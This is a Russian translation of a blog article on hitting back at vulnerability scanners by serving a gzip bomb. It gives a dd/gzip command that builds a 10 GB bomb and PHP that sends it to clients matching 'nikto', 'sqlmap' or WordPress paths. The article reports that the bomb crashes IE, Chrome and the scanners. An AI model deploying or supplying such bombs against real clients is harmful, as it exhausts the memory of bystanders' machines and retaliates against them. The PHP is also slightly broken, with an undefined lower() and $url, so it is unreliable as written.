Статьи

Как защитить свой сайт с помощью бомб на молнии

Эта статья была первоначально опубликована в блоге Кристиана и опубликована здесь с его разрешения. Ознакомьтесь с остальными его очень интересными статьями, если вы хотите узнать о IoT, криптовалютах, PHP и многом другом!


Если вы когда-либо размещали веб-сайт или даже администрировали сервер, вы будете очень хорошо осведомлены о том, что плохие люди пробуют плохие вещи с помощью ваших вещей.

Читайте Лучше PHP Разработка
Инструменты и методы, чтобы сделать вас лучшим разработчиком

Когда я впервые принял свой собственный маленький linux box с доступом по SSH в 13 лет, я ежедневно просматривал журналы и сообщал IP-адреса (в основном из Китая и России), которые пытались подключиться к моей милой маленькой коробке (которая на самом деле была старой ThinkPad T21). с разбитым дисплеем, работающим под моей кроватью) их провайдерам.

На самом деле, если у вас есть Linux-сервер с открытым SSH, вы можете увидеть, сколько попыток подключения делается каждый день:

grep 'authentication failures' /var/log/auth.log

Сотни неудачных попыток входа в систему, даже если этот сервер отключил аутентификацию по паролю и работает на нестандартном порту

WordPress обрек нас всех

Хорошо, честно говоря, сканеры веб-уязвимостей существовали до WordPress, но поскольку WP широко распространен, большинство сканеров веб-уязвимостей включают в себя сканирование некоторых неправильно настроенных папок wp-admin

Поэтому, если небольшая новая хакерская группа захочет получить какой-то горячий кредит, они загрузят один из этих сканеров и начнут тестирование на многих веб-сайтах в надежде получить доступ к сайту и порочить его.

Пример файла журнала во время сканирования с использованием инструмента Nikto

Вот почему всем администраторам серверов или веб-сайтов приходится иметь дело с гигабайтами журналов, полными попыток сканирования. Так что мне было интересно ..

Есть ли способ нанести ответный удар?

Пройдя несколько потенциальных реализаций с IDS или Fail2ban, я вспомнил бомбы ZIP со старых времен.

WTH это бомба ZIP?

Таким образом, оказывается, что сжатие ZIP действительно хорошо с повторяющимися данными, поэтому, если у вас есть действительно огромный текстовый файл, который состоит из повторяющихся данных, таких как все нули, он сожмет это действительно хорошо. Как ДЕЙСТВИТЕЛЬНО хорошо.

Как показывает нам 42.zip , он может сжать файл размером 4,5 петабайта (4.500.000 гигабайт) до 42 байтов. Когда вы попытаетесь просмотреть содержимое (распаковать или распаковать его), вам, скорее всего, не хватит места на диске или ОЗУ.

Как я могу ZIP бомбить сканер?

К сожалению, веб-браузеры не понимают ZIP, но они понимают GZIP.

Поэтому сначала нам нужно создать GZIP-файл размером 10 гигабайт, заполненный нулями. Мы могли бы сделать несколько сжатий, но давайте пока будем проще.

 dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

Создание бомбы и проверка ее размера

Как видите, это 10 МБ. Мы могли бы сделать лучше, но достаточно хорошо сейчас.

Теперь, когда мы создали эту вещь, давайте настроим скрипт PHP, который доставит его клиенту.

 <?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header('Content-Encoding: gzip');
header('Content-Length: '.filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');

Это оно!

Мы могли бы использовать это в качестве простой защиты, например:

 <?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}

function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}

function startsWith($haystack,$needle){
    return (substr($haystack,0,strlen($needle)) === $needle);
}

Этот сценарий, очевидно, не является — как мы говорим в Австрии — желтым яйцом, но он может защитить от сценариев, о которых я упоминал ранее, которые не подозревают, что все эти инструменты имеют параметры для изменения пользовательского агента.

Что происходит, когда вызывается скрипт?

клиент Результат
IE 11 Память растет, IE вылетает
Хром Память увеличивается, отображается ошибка
край Память растет, потом капает и загружается навсегда
Nikto Кажется, сканирует нормально, но не выводится
SQLmap Высокое использование памяти до сбоя

(если вы тестировали его с другими устройствами / браузерами / скриптами, пожалуйста, дайте мне знать, и я добавлю это здесь)

Реакция скрипта на Chrome

Если вы рискуете, попробуйте сами